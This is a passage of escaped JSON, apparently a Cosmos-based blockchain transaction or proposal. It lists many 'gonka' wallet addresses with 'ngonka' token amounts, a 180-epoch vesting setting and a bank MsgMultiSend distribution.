\"amount\": \"24047476336\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k9ser0a6lr23rqt843z6w0e03us4lp6af546fg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23595720321\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13jw6k5lleqepjyjsm8r4lhrfnn955h8wrexdz2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23566377466\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g47tma3ruze3dtk36ru97pcn6yp0ffcyws5dr6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23474900146\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u5t8ue2699e9z92kytnxys2l0eehywsxeqvnnx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23449857585\"\n }\n ]\n },\n {\n \"recipient\": \"gonka149c9zggn4su56mrasyrkakk8apcpuz23sx35eq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23285172476\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h583klq89w5m39tt832clppkfx807av7m07656\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23001560992\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14dkhe6rhy2nq6snmkp2ssnaesumsuwctlmrzcn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"22218014068\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13crxlqch46e2jdm6uq03g8wsxndqkpdgay6j3u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"22005384622\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nc8nlx0dd5uhz82t3fyxlsy4d5n07fw87mrv8g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"21592621870\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j4zdyxve2f9fkj8d2nx2cvg09wv67cy7xucm0h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"21529927723\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1njzjqpx6t4jwe9t0fu8vtzn5cj5xjlaussvctx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20936569149\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ksz9raj0yvg7wxdfhuj5474lmjpkzkphu0jw27\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20908935725\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1au034ld8fsrvtyxpzxx8nnnqe5kmhe20lmhuwm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19688669380\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10000uv63da0ee5drk26erkwrvcmpmj7kg6kw48\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19682731338\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sq6myvv8r263v4ll5l3ny790nsg5s4507crtqr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19238314261\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cxml8gqycch45s3l54nhmy5usfg2ughrzq4kvx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19235354950\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llyscnv8vdflufpm8j7n52macpd3s6kt73uusn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19145554351\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aqjsdkgajzdzxlyru3q2rc9eqduyyw2qdc2g3q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19094744887\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tvjdvlf3jmc48ckycguvdvlepgj7jgx9q5m2aw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19056503512\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15hc8eqp4axp7lztjuk0y5z0af6drw5k0eltrue\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18671721349\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e2rnawlpqumhjgmkqwjkyeyhfnsgaxqdelmwqc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18515753485\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zjajt7pt4tx0djf9r7gksur320gug5e9ymqkaf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18468775368\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1velxhp2knfmqa2406rvwygex8j9fr5d8vd8q3u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18462078890\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t8r67ncy50g23sz5xlal9hahnq72ej25jd0nrt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18173527129\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d8v8s56a27wrjc0gfj4c0vafq67j2ddhr7n5k7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17733795714\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v5k8fqqfc0v798gm8svcv6tczppvegsetw4mfc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17582019223\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16g6lr5tzelh4m66gxf5hlvcjf0drcwnyse7yau\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17495597361\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e8d0gt4d3u565208jjn035a6h3nvxzwtc4w8j9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17282570667\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16th7hk6p6z9vy02yvt56mtx3aqj78zaxqgka4a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17247968332\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1crsq8zatznue5t6mw4ezrgvw4rtre2paw6lfs3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17057302371\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cz5pcp5wfnkkahasj9vge9snpvl8ayz5nvu8z5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16858670071\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eqjy6gy8vapf3xtukyrcva0cn952m07sntnlzv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16690841039\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12u5pjkvehkhzky5s0yn3j0teseqa2wk3m26aq5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16519802104\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nu5tnluwfc6e0m9deyaht2mj0t0tluap9t424s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16109548769\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qdulrz55xwma52j8xtmw09pgg6h5pena004s3q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15992987647\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hp35n496dgnhfl98qlhhzvq5zema6zlcv8slvd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15872119095\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18jd4my9aae5jc3gp8sjkxtt988ctazxwcu00zz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15809776995\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f2vks2fy4f3gvdmhgemlzygsmwgj4uwhr3eq87\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15665265795\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mvjsdf8cnxwx94umn4ylfnd6n9mjr062z5z2mj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15665265795\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kmwyjt6nx29k72jtvgdeyduk7mvgra859utwr6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15521495000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vlcd8tr2nh5x6h4wl9vacpzucpp9a2p9rv8c57\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15505364916\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xxt27tswyf3aevmrh4g9w6pxhgvm5rhpcah0f3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15453041804\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvyenm5ms57hmyze8yl659c8ljg4r89nlwap9u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15416153987\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1swxxjxn2gyyjxur62ppty5c8uaa9m8s8tvajfx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15396149423\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1du3ra0wra9l7d8uqctdrdzneufpw54k3rngjme\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15380717791\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rd09mzfck3m3nfz3mhmlt6ker6ru2dg2ryhwkx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15359318274\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17eha2wcrge8zp36tn85ywgx7dqmwu6hux3wqpu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15245298006\"\n }\n ]\n },\n {\n \"recipient\": \"gonka103w3g3q88yfvcaewfef0l4gmlsjhykdz76wxav\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15233953411\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xteg3zgysvkvfl4lzs5gwxpkgtx0qra6m90jv3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15057878015\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12ha2hfpkjqcs5qgkfl5symtuws9k5rcx0qeuea\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14869979963\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q8a0m7llx9vwpxlt9a4khn9t3d5wgfwcr34dyr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14714689688\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mmd53mj5u5uepcznq3u4apyc8l7rg9g0d0ec6d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14662835696\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1se5fl8amfchfdy5sf4qzxrd7tuu7vua9aphy5x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"14011977229\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19c58vpkdx4gyh6jqzwuhdt7mky534c939fhqg3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13868650238\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qtd6sqrfhqlfzl5guvq4rh2jduayekf8sx7vze\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13807478913\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e0x4rzdmgcxh4a6e0vz7rncgudvvc06kf3tfpg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13644783323\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ch7c2pseksehq76xpm9ghfd98ccjxqf7e698h4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13588546573\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17u6cwzx6f9jkngqllyw4z7fylwyymgvgv6gkj8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12545963620\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13xpjvala86d3y6jdjpnfk56ptjawq29t4gprtx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12189951247\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14htw7ph065xeugpwhcsqnvmemfpluhldrvzx6j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12056464578\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12u0uyuexgd37yexwxgwljzstgunaurswguehkx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12027960359\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16n8lkh7qtyme055xjshfmlrvts8s5ujx396s0d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11946641426\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ye7unfm0nf6qa7awmcgxql7u2zq9fqv0g5qw3h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11690401599\"\n }\n ]\n },\n {\n \"recipient\": \"gonka127ut4ut239agy405vmznj2jz3z57egrfuza7dw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11617342739\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yuhp76axp2uvnflmlhjch2cmqcp0xf7595zklc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11247620300\"\n }\n ]\n },\n {\n \"recipient\": \"gonka105ce4495mj0mwkxqeasgdzqfq5jjrfq32eza5l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10338358934\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uf5cg7ef0ns6877nl27y0s6rt06cdmn40k5a88\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10257214287\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/cosmos.bank.v1beta1.MsgMultiSend\",\n \"inputs\": [\n {\n \"address\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"832642933775\"\n }\n ]\n }\n ],\n \"outputs\": [\n {\n \"address\": \"gonka1azuz6leyh94mjyal7deprr2wpwqesr5530872r\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9501541710\"\n }\n ]\n },\n {\n \"address\": \"gonka137kvnsjwkz6aqdlsfz5nkuh04wamt7gydgm570\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9452166946\"\n }\n ]\n },\n {\n \"address\": \"gonka1f3qe6rwl8a8lga0atrdq7uqfu9dewl0vtg9rnv\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9414778596\"\n }\n ]\n },\n {\n \"address\": \"gonka1fezpsxrwms4njwkskesu0s5t8wl46ueegk5s3p\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8844332803\"\n }\n ]\n },\n {\n \"address\": \"gonka1tl9ws8h8wje933ggmp6qav870s2kt2vsl8nxtg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8792952388\"\n }\n ]\n },\n {\n \"address\": \"gonka1enwgqdpwrthzwzl79xgcf936rt8n4zulnnn89p\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8721856694\"\n }\n ]\n },\n {\n \"address\": \"gonka15k9c2xzuman9mtggecwed2kpts0y7wgnnrgzvu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8704908709\"\n }\n ]\n },\n {\n \"address\": \"gonka18gm3udhlraw29z4and3yde959fmu3rs9sqm3t6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8528426620\"\n }\n ]\n },\n {\n \"address\": \"gonka1a32tfg0a3xe7zer9m3ttuxr57wdffpc82qnacq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8445259634\"\n }\n ]\n },\n {\n \"address\": \"gonka1xtzmqjwf0au4ad5m3nmdu07262vjn605uxyjtu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8292640093\"\n }\n ]\n },\n {\n \"address\": \"gonka135yst4re34z3rlfquhknqxvnaj35pjwu0mw622\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8165434002\"\n }\n ]\n },\n {\n \"address\": \"gonka1p8av4fdlefkwluhx864sw4h7nayytt6c7x9u43\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8155197424\"\n }\n ]\n },\n {\n \"address\": \"gonka19pe5zksljpfjydt64xz5yv7jxsr3cn2tqt8k9r\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7685191084\"\n }\n ]\n },\n {\n \"address\": \"gonka1gdg70vwrtr8gmal53zzq7d6xk2exh75uh2mtcm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7672285704\"\n }\n ]\n },\n {\n \"address\": \"gonka143x3v0etsful8p4hznnltpeq8arz2g8lkrjumf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7493644311\"\n }\n ]\n },\n {\n \"address\": \"gonka1h8fmjrpth99xt8ee0wrdljfg7fpvquc9d4et0d\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7409052775\"\n }\n ]\n },\n {\n \"address\": \"gonka1w6cjf08fgm3yalqf7ytt0hz6thlhs53d2fn7j2\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7373299925\"\n }\n ]\n },\n {\n \"address\": \"gonka12x78v2mjvvtnhnfmlrezdxejecwzzgxr5wjlty\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7103237040\"\n }\n ]\n },\n {\n \"address\": \"gonka1wwx6nhqe7xlyvqjs0r3wj767xaurcucvz0npmn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7078693293\"\n }\n ]\n },\n {\n \"address\": \"gonka1zppcd072lkwv7wxpxv5rd06kz9yf0trexwqtps\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6941440630\"\n }\n ]\n },\n {\n \"address\": \"gonka15syzg3weelezg42agd3esadaa3t4tr5hcup57r\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6602202484\"\n }\n ]\n },\n {\n \"address\": \"gonka15pfa2nj0m0yrqcynqe2zegzpnttx4tfqp46fgm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6559062334\"\n }\n ]\n },\n {\n \"address\": \"gonka1rad9yt3eyaflkhm4xpslk85ps4de2kae2fguyz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6537844596\"\n }\n ]\n },\n {\n \"address\": \"gonka19ayh77ndf2k8ps2992vf6n70emsq09ngxuvqh9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6489763866\"\n }\n ]\n },\n {\n \"address\": \"gonka1547gss5hs48tg024zg7cm3f4r747a8ed0mrgru\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6244004304\"\n }\n ]\n },\n {\n \"address\": \"gonka18dy9cn8e65kh6jy2j6v5du26tq9tkpf8e2n5uk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6174834101\"\n }\n ]\n },\n {\n \"address\": \"gonka14rv62lyedvmmghs78qc4yymdtas6rdz3wjupty\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6156917861\"\n }\n ]\n },\n {\n \"address\": \"gonka1m7df6745x0vr02pf2lr369vapfzddh3jxhawvq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6144655815\"\n }\n ]\n },\n {\n \"address\": \"gonka1qlulzskcx4n7ctlj3tjusjzl9vk5me8zrr7ysl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6081456323\"\n }\n ]\n },\n {\n \"address\": \"gonka1vhg44vzedv5dzp8njajh8rtylxsctqr2xv5v6s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5972208238\"\n }\n ]\n },\n {\n \"address\": \"gonka16a28hafy6j6p4z0gdt7tv68e393glanr3td979\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5901353964\"\n }\n ]\n },\n {\n \"address\": \"gonka1vkh8e2uqk9mdw0ql83g0p4ge0wmqstcasulngn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5811099649\"\n }\n ]\n },\n {\n \"address\": \"gonka1s5997zeltdrwfc35pzzzznhk3908valhlnc76g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5765093045\"\n }\n ]\n },\n {\n \"address\": \"gonka18yuxmht359nlwj40cdz6dlr8nyaulgk0gv9yma\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5742736254\"\n }\n ]\n },\n {\n \"address\": \"gonka1rlf0ggajudsvxuvgkukpmg2xwd06htv4vu2ktx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5712867994\"\n }\n ]\n },\n {\n \"address\": \"gonka1xyj2jlq36rhauw7lx6zwmj26dregc7qqd660vz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5709268559\"\n }\n ]\n },\n {\n \"address\": \"gonka1j2m047a6sujxeznp7rkvq5t64k3hu203cruufs\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5390538673\"\n }\n ]\n },\n {\n \"address\": \"gonka1nv7pw7xpydpkhxs35zgu450ymhzmtck0aryhls\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5338417094\"\n }\n ]\n },\n {\n \"address\": \"gonka15xr92pc7v0jvq5aqwqt43hpvvpvs3q5229lrmh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5307464452\"\n }\n ]\n },\n {\n \"address\": \"gonka1a3pkge3g33v3zdkq7qmycpjwpulms6ejt8z00f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5264460448\"\n }\n ]\n },\n {\n \"address\": \"gonka1nccp3l8d8n36akvaper2ngzpe8a843key0n985\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5114884594\"\n }\n ]\n },\n {\n \"address\": \"gonka1y2vf9hwhemy8rkn69nmqwuf90ndk5cr3985pf9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5080696083\"\n }\n ]\n },\n {\n \"address\": \"gonka15p7s7w2hx0y8095lddd4ummm2y0kwpwljk00aq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5061339468\"\n }\n ]\n },\n {\n \"address\": \"gonka1z669rrm4sygpede8sqddavhsef6wc9vwjsp9wh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5044445895\"\n }\n ]\n },\n {\n \"address\": \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4818475251\"\n }\n ]\n },\n {\n \"address\": \"gonka1gvrssnvlsj6he2lyv40y5fpdawn2xuvtldqv99\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4804965891\"\n }\n ]\n },\n {\n \"address\": \"gonka1n80jruuunhn8q9scqkuqcvsq8dz3hv03zl6sjn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4800051495\"\n }\n ]\n },\n {\n \"address\": \"gonka1pvlt0c9dqyxvxyzwf0t3q7ff2m2andsl4hakn9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4712678395\"\n }\n ]\n },\n {\n \"address\": \"gonka12znqneqlv4va4he2vz2safylpx7kj6gw2r48d5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4529478439\"\n }\n ]\n },\n {\n \"address\": \"gonka19hfr9trsvue37wfn7tpaqjlp6sdjhyzvyecyw7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4377146350\"\n }\n ]\n },\n {\n \"address\": \"gonka1zkegnzhzcyeu9m74f8907tg5ga2dyhxnfuxm0w\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4182985948\"\n }\n ]\n },\n {\n \"address\": \"gonka1ke4t935aqvya0kcee2nxcjp82vk8sa3sjs60fh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4028980470\"\n }\n ]\n },\n {\n \"address\": \"gonka1c7fjlg6p7l0ynydyzkzzkxdwue7y864tytj02g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3966294792\"\n }\n ]\n },\n {\n \"address\": \"gonka1wuhwtgcrlq7j9yzlev73raej734a9ym4clslnr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3727207309\"\n }\n ]\n },\n {\n \"address\": \"gonka1smjq2hmma0c42rvf4epkp6tgfpy5z9cqzp3kqd\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3716196059\"\n }\n ]\n },\n {\n \"address\": \"gonka1000aqvxfkugmfy9ygfq3waq9r6q97e2yzjkspk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3695515387\"\n }\n ]\n },\n {\n \"address\": \"gonka10ham8mkawe850sk3aq9vfjvsw2nzvl63ulcuyl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3486710564\"\n }\n ]\n },\n {\n \"address\": \"gonka1k2dvwkg22kqmgh0s6xt8xuk4s4ak0k4py05cyr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3449792975\"\n }\n ]\n },\n {\n \"address\": \"gonka15fpzwc7d2z3r4y5475p6k7uqknnkj38gsus3d9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3404136954\"\n }\n ]\n },\n {\n \"address\": \"gonka1ttnyggsrxqyaqkty5uy6umak6cy2epcycmgn7k\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3403934586\"\n }\n ]\n },\n {\n \"address\": \"gonka12uttst9yzdrfjqhjanvnlydq0dms2ktaljqaq8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3359427978\"\n }\n ]\n },\n {\n \"address\": \"gonka16as27w5m0jtskdgxx6hyhhm6r3khechwcc6quw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3258925442\"\n }\n ]\n },\n {\n \"address\": \"gonka1s0hm7zhcw2ms89g2s8lsfr9s02d88yfph9p75v\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3163798107\"\n }\n ]\n },\n {\n \"address\": \"gonka12favtgswt6sw2wx8ywf6fz5jz6dl09ga3s2tpu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3140706768\"\n }\n ]\n },\n {\n \"address\": \"gonka188zesyhzwt6crz9dlcll2cs3wezput0kfren9t\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3086954434\"\n }\n ]\n },\n {\n \"address\": \"gonka1ed4dzdu86mz2jhmn8ddajdh79dmx2lqdhcdulv\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3007115951\"\n }\n ]\n },\n {\n \"address\": \"gonka1un2c9f66mg2g6xcpmulq9tqfs3vjd7nn0ftjs5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2968246664\"\n }\n ]\n },\n {\n \"address\": \"gonka1q8pf6vaqxtnnwl896uytd0waejnypkv3wz6a94\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2921590102\"\n }\n ]\n },\n {\n \"address\": \"gonka1r9zhmnd99rq9knfzng6smasywxakw2r8ltjvp4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2921590102\"\n }\n ]\n },\n {\n \"address\": \"gonka1rtq5mhv2mw9ammge8ezlyy6z0f4yz8c0gjlkcu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2921590102\"\n }\n ]\n },\n {\n \"address\": \"gonka1xqrc7jrcx6rgv5zpngnm4yunsf5qvcmklygxn5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2921590102\"\n }\n ]\n },\n {\n \"address\": \"gonka184jz8ja5gqkr3kt98a3a4syyypwj07j0qngukg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2918969582\"\n }\n ]\n },\n {\n \"address\": \"gonka1948n747ayualpznexxchnx95pdnpu25mph804e\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2761436531\"\n }\n ]\n },\n {\n \"address\": \"gonka1vd44gk5gr8x7s6557sx6vnf4q7pn6q848qq7sl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2717813483\"\n }\n ]\n },\n {\n \"address\": 